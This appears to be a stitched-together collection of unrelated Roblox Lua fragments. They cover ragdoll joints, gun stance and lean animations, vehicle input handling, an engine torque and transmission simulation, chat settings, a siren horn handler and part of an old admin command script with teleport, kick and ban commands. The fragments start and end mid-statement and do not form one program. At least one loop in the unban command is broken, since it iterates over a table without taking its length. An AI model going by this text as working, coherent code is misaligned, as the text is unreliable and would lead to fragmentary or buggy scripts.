attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = char end end end end end end return ragdollPlayer
--// Stances
function Prone() UpdateAmmo() L_112_:FireServer("Prone") L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(0, -3, 0) }):Play() L_3_:WaitForChild("Humanoid").WalkSpeed = 4 if not L_24_.TacticalModeEnabled then L_155_ = 4 L_154_ = 0.025 else L_154_ = 0.01 L_155_ = 4 end L_65_ = true Proned2 = Vector3.new(0, 0.5, 0.5) L_130_(L_9_, CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195), nil, function(L_287_arg1) return math.sin(math.rad(L_287_arg1)) end, 0.25) L_130_(L_10_, CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009) , nil, function(L_288_arg1) return math.sin(math.rad(L_288_arg1)) end, 0.25) L_130_(L_11_, CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009) , nil, function(L_289_arg1) return math.sin(math.rad(L_289_arg1)) end, 0.25) end function Stand() UpdateAmmo() L_112_:FireServer("Stand") L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(0, 0, 0) }):Play() L_65_ = false if not L_64_ then L_3_:WaitForChild("Humanoid").WalkSpeed = 16 if L_24_.TacticalModeEnabled then L_154_ = 0.09 L_155_ = 11 else L_154_ = .2 L_155_ = 17 end elseif L_64_ then if L_24_.TacticalModeEnabled then L_154_ = 0.015 L_155_ = 7 L_3_:WaitForChild("Humanoid").WalkSpeed = 7 else L_3_:WaitForChild("Humanoid").WalkSpeed = 16 L_155_ = 10 L_154_ = 0.02 end end Proned2 = Vector3.new(0, 0, 0) L_130_(L_9_, CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), nil, function(L_290_arg1) return math.sin(math.rad(L_290_arg1)) end, 0.25) L_130_(L_10_, CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0), nil, function(L_291_arg1) return math.sin(math.rad(L_291_arg1)) end, 0.25) L_130_(L_11_, CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0), nil, function(L_292_arg1) return math.sin(math.rad(L_292_arg1)) end, 0.25) end function Crouch() UpdateAmmo() L_112_:FireServer("Crouch") L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(0, -1, 0) }):Play() L_3_:WaitForChild("Humanoid").WalkSpeed = 9 if not L_24_.TacticalModeEnabled then L_155_ = 9 L_154_ = 0.035 else L_154_ = 0.015 L_155_ = 9 end L_65_ = true Proned2 = Vector3.new(0, 0, 0) L_130_(L_9_, CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015), nil, function(L_293_arg1) return math.sin(math.rad(L_293_arg1)) end, 0.25) L_130_(L_10_, CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0), nil, function(L_294_arg1) return math.sin(math.rad(L_294_arg1)) end, 0.25) L_130_(L_11_, CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0), nil, function(L_295_arg1) return math.sin(math.rad(L_295_arg1)) end, 0.25) L_130_(L_6_:WaitForChild("Neck"), nil, CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), function(L_296_arg1) return math.sin(math.rad(L_296_arg1)) end, 0.25) end function LeanRight() if L_93_ ~= 2 then L_112_:FireServer("LeanRight") L_130_(L_9_, nil, CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0), function(L_297_arg1) return math.sin(math.rad(L_297_arg1)) end, 0.25) L_130_(L_10_, nil, CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0), function(L_298_arg1) return math.sin(math.rad(L_298_arg1)) end, 0.25) L_130_(L_11_, nil, nil, function(L_299_arg1) return math.sin(math.rad(L_299_arg1)) end, 0.25) L_130_(L_6_:WaitForChild("Clone"), nil, CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0), function(L_300_arg1) return math.sin(math.rad(L_300_arg1)) end, 0.25) if not L_65_ then L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(1, -0.5, 0) }):Play() elseif L_65_ then if L_93_ == 1 then L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(1, -1.5, 0) }):Play() end end; end end function LeanLeft() if L_93_ ~= 2 then L_112_:FireServer("LeanLeft") L_130_(L_9_, nil, CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0), function(L_301_arg1) return math.sin(math.rad(L_301_arg1)) end, 0.25) L_130_(L_10_, nil, nil, function(L_302_arg1) return math.sin(math.rad(L_302_arg1)) end, 0.25) L_130_(L_11_, nil, CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0), function(L_303_arg1) return math.sin(math.rad(L_303_arg1)) end, 0.25) L_130_(L_6_:WaitForChild("Clone"), nil, CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0), function(L_304_arg1) return math.sin(math.rad(L_304_arg1)) end, 0.25) if not L_65_ then L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(-1, -0.5, 0) }):Play() elseif L_65_ then if L_93_ == 1 then L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(-1, -1.5, 0) }):Play() end end; end end function Unlean() if L_93_ ~= 2 then L_112_:FireServer("Unlean") L_130_(L_9_, nil, CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), function(L_305_arg1) return math.sin(math.rad(L_305_arg1)) end, 0.25) L_130_(L_10_, nil, CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), function(L_306_arg1) return math.sin(math.rad(L_306_arg1)) end, 0.25) L_130_(L_11_, nil, CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), function(L_307_arg1) return math.sin(math.rad(L_307_arg1)) end, 0.25) if L_6_:FindFirstChild('Clone') then L_130_(L_6_:WaitForChild("Clone"), nil, CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), function(L_308_arg1) return math.sin(math.rad(L_308_arg1)) end, 0.25) end if not L_65_ then L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(0, 0, 0) }):Play() elseif L_65_ then if L_93_ == 1 then L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(0, -1, 0) }):Play() end end; end end local L_165_ = false L_107_.InputBegan:connect(function(L_309_arg1, L_310_arg2) if not L_310_arg2 and L_15_ == true then if L_15_ then if L_309_arg1.KeyCode == Enum.KeyCode.C or L_309_arg1.KeyCode == Enum.KeyCode.ButtonB then if L_93_ == 0 and not L_67_ and L_15_ then L_93_ = 1 Crouch() L_94_ = false L_96_ = true L_95_ = false elseif L_93_ == 1 and not L_67_ and L_15_ then L_93_ = 2 Prone() L_96_ = false L_94_ = true L_95_ = false L_165_ = true end end if L_309_arg1.KeyCode == Enum.KeyCode.X or L_309_arg1.KeyCode == Enum.KeyCode.ButtonY then if L_93_ == 2 and not L_67_ and L_15_ then L_165_ = false L_93_ = 1 Crouch() L_94_ = false L_96_ = true L_95_ = false elseif L_93_ == 1 and not L_67_ and L_15_ then L_93_ = 0 Stand() L_94_ = false L_96_ = false L_95_ = true end end end end end)
--Input Handler
function DealWithInput(input,IsRobloxFunction) if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus --Shift Down [Manual Transmission] if (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and ((_IsOn and ((_TMode=="Auto" and _CGear<=1) and _Tune.AutoShiftVers == "New") or _TMode=="DCT") or _TMode=="Manual") and input.UserInputState == Enum.UserInputState.Begin then if not _ShiftDn then _ShiftDn = true end --Shift Up [Manual Transmission] elseif (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and ((_IsOn and ((_TMode=="Auto" and _CGear<1) and _Tune.AutoShiftVers == "New") or _TMode=="DCT") or _TMode=="Manual") and input.UserInputState == Enum.UserInputState.Begin then if not _ShiftUp then _ShiftUp = true end --Toggle Clutch elseif (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then if input.UserInputState == Enum.UserInputState.Begin then _ClPressing = true elseif input.UserInputState == Enum.UserInputState.End then _ClPressing = false end --Toggle PBrake elseif input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then if input.UserInputState == Enum.UserInputState.Begin then _PBrake = not _PBrake elseif input.UserInputState == Enum.UserInputState.End then if bike.DriveSeat.Velocity.Magnitude>5 then _PBrake = false end end --Toggle Transmission elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then local n=1 for i,v in pairs(_Tune.TransModes) do if v==_TMode then n=i break end end n=n+1 if n>#_Tune.TransModes then n=1 end _TMode = _Tune.TransModes[n] --Throttle elseif ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then if input.UserInputState == Enum.UserInputState.Begin and _IsOn then _InThrot = 1 _TTick = tick() else _InThrot = _Tune.IdleThrottle/100 _BTick = tick() end --Brake elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then if input.UserInputState == Enum.UserInputState.Begin then _InBrake = 1 else _InBrake = 0 end --Steer Left elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerT = -1 _SteerL = true else if _SteerR then _GSteerT = 1 else _GSteerT = 0 end _SteerL = false end --Steer Right elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerT = 1 _SteerR = true else if _SteerL then _GSteerT = -1 else _GSteerT = 0 end _SteerR = false end --Toggle Mouse Controls elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then if input.UserInputState == Enum.UserInputState.End then _MSteer = not _MSteer _InThrot = _Tune.IdleThrottle/100 _TTick = tick() _InBrake = 0 _GSteerT = 0 end --Toggle TCS elseif _Tune.TCS and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then if input.UserInputState == Enum.UserInputState.End then _TCS = not _TCS end --Toggle ABS elseif _Tune.ABS and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then if input.UserInputState == Enum.UserInputState.End then _ABS = not _ABS end end --Variable Controls if input.UserInputType.Name:find("Gamepad") then --Gamepad Steering if input.KeyCode == _CTRL["ContlrSteer"] then if input.Position.X>= 0 then local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X-cDZone)/(1-cDZone) else _GSteerT = 0 end else local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X+cDZone)/(1-cDZone) else _GSteerT = 0 end end --Gamepad Throttle elseif input.KeyCode == _CTRL["ContlrThrottle"] then if _IsOn then _InThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z) if _InThrot > _Tune.IdleThrottle/100 then _TTick = tick() else _BTick = tick() end else _InThrot = _Tune.IdleThrottle/100 _BTick = tick() end --Gamepad Brake elseif input.KeyCode == _CTRL["ContlrBrake"] then _InBrake = input.Position.Z end end else _InThrot = _Tune.IdleThrottle/100 _GSteerT = 0 _InBrake = 0 end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput) UserInputService.InputEnded:connect(DealWithInput)
-- These controllers handle only walk/run movement, jumping is handled by the -- TouchJump controller if any of these are active
local ClickToMove = require(script:WaitForChild("ClickToMoveController")) local TouchJump = require(script:WaitForChild("TouchJump")) local VehicleController = require(script:WaitForChild("VehicleController")) local CONTROL_ACTION_PRIORITY = Enum.ContextActionPriority.Default.Value
--[[Engine]]
local fFD = _Tune.FinalDrive*_Tune.FDMult local fFDr = fFD*30/math.pi local cGrav = workspace.Gravity*_Tune.InclineComp/32.2 local wDRatio = wDia*math.pi/60 local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0) local cfYRot = CFrame.Angles(0,math.pi,0) local rtTwo = (2^.5)/2 if _Tune.Aspiration == "Single" then _TCount = 1 _TPsi = _Tune.Boost elseif _Tune.Aspiration == "Double" then _TCount = 2 _TPsi = _Tune.Boost*2 end --Horsepower Curve local HP=_Tune.Horsepower/100 local HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100 local Peak=_Tune.PeakRPM/1000 local Sharpness=_Tune.PeakSharpness local CurveMult=_Tune.CurveMult local EQ=_Tune.EqPoint/1000 --Horsepower Curve function curveHP(RPM) RPM=RPM/1000 return ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1)))) end local PeakCurveHP = curveHP(_Tune.PeakRPM) function curvePSI(RPM) RPM=RPM/1000 return ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1)))) end local PeakCurvePSI = curvePSI(_Tune.PeakRPM) --Plot Current Horsepower function GetCurve(x,gear) local hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100 return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000 end --Plot Current Boost (addition to Horsepower) function GetPsiCurve(x,gear) local hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100 return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000 end --Output Cache local HPCache = {} local PSICache = {} if _Tune.CurveCache then for gear,ratio in pairs(_Tune.Ratios) do local nhpPlot = {} local bhpPlot = {} for rpm = math.floor(_Tune.IdleRPM/_Tune.CacheInc),math.ceil((_Tune.Redline+100)/_Tune.CacheInc) do local ntqPlot = {} local btqPlot = {} ntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*_Tune.CacheInc,gear-2) btqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*_Tune.CacheInc,gear-2) hp1,tq1 = GetCurve((rpm+1)*_Tune.CacheInc,gear-2) hp2,tq2 = GetPsiCurve((rpm+1)*_Tune.CacheInc,gear-2) ntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower) btqPlot.HpSlope = (hp2 - btqPlot.Horsepower) ntqPlot.TqSlope = (tq1 - ntqPlot.Torque) btqPlot.TqSlope = (tq2 - btqPlot.Torque) nhpPlot[rpm] = ntqPlot bhpPlot[rpm] = btqPlot end table.insert(HPCache,nhpPlot) table.insert(PSICache,bhpPlot) end end if _Tune.CurveCache then for gear,ratio in pairs(_Tune.Ratios) do for rpm = math.floor(_Tune.IdleRPM/_Tune.CacheInc),math.ceil((_Tune.Redline+100)/_Tune.CacheInc) do end end end --Powertrain wait() --Update RPM function RPM() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.93) _RPM = _RPM*clutchP + aRPM*(1-clutchP) else if _GThrot-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2 else _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) end else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2]) if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end local TPsi = _TPsi/_TCount if _CGear==0 then _Boost = _Boost + ((((((_RPM*(_GThrot*_GThrotShift*1.2)/_Tune.Redline)/8.5)-(((_Boost/TPsi*(TPsi/15)))))*((36/_Tune.TurboSize)*2))/TPsi)*15) else _Boost = _Boost + ((((((_HP*(_GThrot*_GThrotShift*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((36/_Tune.TurboSize)*2))/TPsi)*15) end if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end end --Automatic Transmission function Auto() local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _IsOn then _ClutchOn = true if _CGear >= 1 then if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then _CGear = 1 else if _Tune.AutoShiftMode == "RPM" then if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then end _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then if _CGear ~= 1 then end _CGear=math.max(_CGear-1,1) end else if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then end _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then if _CGear ~= 1 then end _CGear=math.max(_CGear-1,1) end end end end end end local tqTCS = 1 --Apply Power function Engine() if _ClutchOn then if _Tune.CurveCache then local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/_Tune.CacheInc)] _NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/_Tune.CacheInc))/1000)%1) _NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/_Tune.CacheInc))/1000)%1) else _NH,_NT = GetCurve(_RPM,_CGear) end if _Tune.Aspiration ~= "Natural" then if _Tune.CurveCache then local bTq = PSICache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/_Tune.CacheInc)] _BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/_Tune.CacheInc))/1000)%1) _BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/_Tune.CacheInc))/1000)%1) else _BH,_BT = GetPsiCurve(_RPM,_CGear) end _HP = _NH + (_BH*(_Boost/2)) _OutTorque = _NT + (_BT*(_Boost/2)) else _HP = _NH _OutTorque = _NT end local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav if _CGear==-1 then iComp=-iComp end _OutTorque = _OutTorque*math.max(1,(1+iComp)) else _HP,_NH,_BH,_OutTorque,_NT,_BT = 0,0,0,0,0,0 end local TPsi = _TPsi/_TCount if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --AWD Torque Scaling if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if ((_TMode == "Manual" or _TMode == "Semi" or _TMode == "Auto") and _GBrake==0)then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not script.Parent.IsOn.Value then on=0 end local throt = _GThrot * _GThrotShift --Apply TCS if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSAmt = tqTCS _TCSActive = true end --Update Forces local dir = 1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = _GBrake --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end if tqABS < 1 then _ABSActive = true end --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
---[[ Fade Out and In Settings ]]
module.ChatWindowBackgroundFadeOutTime = 0 --Chat background will fade out after this many seconds. module.ChatWindowTextFadeOutTime = 60 --Chat text will fade out after this many seconds. module.ChatDefaultFadeDuration = 0.8 module.ChatShouldFadeInFromNewInformation = true module.ChatAnimationFPS = 20.0
--[=[ @type ClientMiddleware {ClientMiddlewareFn} @within KnitClient An array of client middleware functions. ]=]
type ClientMiddleware = {ClientMiddlewareFn}
--// F key, HornOff
mouse.KeyUp:connect(function(key) if key=="h" then veh.Lightbar.middle.Airhorn:Stop() veh.Lightbar.middle.Wail.Volume = 1 veh.Lightbar.middle.Yelp.Volume = 1 veh.Lightbar.middle.Priority.Volume = 1 veh.Lightbar.HORN.Transparency = 1 end end)
--Head
R6HeadYFinish = .4 --Max left and right movement of the Head R6HeadYStart = .2 --Minimum left and right movement of the Head R6HeadX = .5 --Side to side movement of the Head R6HeadZ = .3 --Up and down movement of the Head
--Ugh, now i have the M*A*S*H theme stuck in my head.....
if string.sub(msg,1,9) == "teleport/" then danumber = nil for i =10,100 do if string.sub(msg,i,i) == "/" then danumber = i break end end if danumber == nil then return end local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker) if player1 == 0 then return end local player2 = findplayer(string.sub(msg,danumber + 1),speaker) if player2 == 0 then return end--Leet line number... if #player2 > 1 then return end torso = nil for i =1,#player2 do if player2[i].Character ~= nil then torso = player2[i].Character:FindFirstChild("Torso") end end if torso ~= nil then for i =1,#player1 do if player1[i].Character ~= nil then local torso2 = player1[i].Character:FindFirstChild("Torso") if torso2 ~= nil then torso2.CFrame = torso.CFrame end end end end end if string.sub(msg,1,6) == "merge/" then danumber = nil for i =7,100 do if string.sub(msg,i,i) == "/" then danumber = i break end end if danumber == nil then return end local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker) if player1 == 0 then return end local player2 = findplayer(string.sub(msg,danumber + 1),speaker) if player2 == 0 then return end if #player2 > 1 then return end for i =1,#player2 do if player2[i].Character ~= nil then player2 = player2[i].Character end end for i =1,#player1 do player1[i].Character = player2 end end if msg == "clear" then local c = game.Workspace:GetChildren() for i =1,#c do if c[i].className == "Script" then if c[i]:FindFirstChild("Is A Created Script") then c[i]:remove() end end if c[i].className == "Part" then if c[i].Name == "Person299's Admin Command Script V2 Part thingy" then c[i]:remove() end end if c[i].className == "Model" then if string.sub(c[i].Name,1,4) == "Jail" then c[i]:remove() end end end end if string.sub(msg,1,5) == "kick/" then local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name) if imgettingtiredofmakingthisstupidscript2 == true then local player = findplayer(string.sub(msg,6),speaker) if player ~= 0 then for i = 1,#player do local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name) if imgettingtiredofmakingthisstupidscript == false then if player[i].Name ~= eloname then player[i]:remove() end end end end end end if string.sub(msg,1,4) == "ban/" then local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name) if imgettingtiredofmakingthisstupidscript2 == true then local player = findplayer(string.sub(msg,5),speaker) if player ~= 0 then for i = 1,#player do local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name) if imgettingtiredofmakingthisstupidscript == false then if player[i].Name ~= eloname then table.insert(bannedlist,player[i].Name) player[i]:remove() end end end end end end if string.sub(msg,1,6) == "unban/" then if string.sub(msg,7) == "all" then for i=1,bannedlist do table.remove(bannedlist,i) end else local n = 0 local o = nil for i=1,#bannedlist do if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then n = n + 1 o = i end end if n == 1 then local name = bannedlist[o] table.remove(bannedlist,o) text(name .. " has been 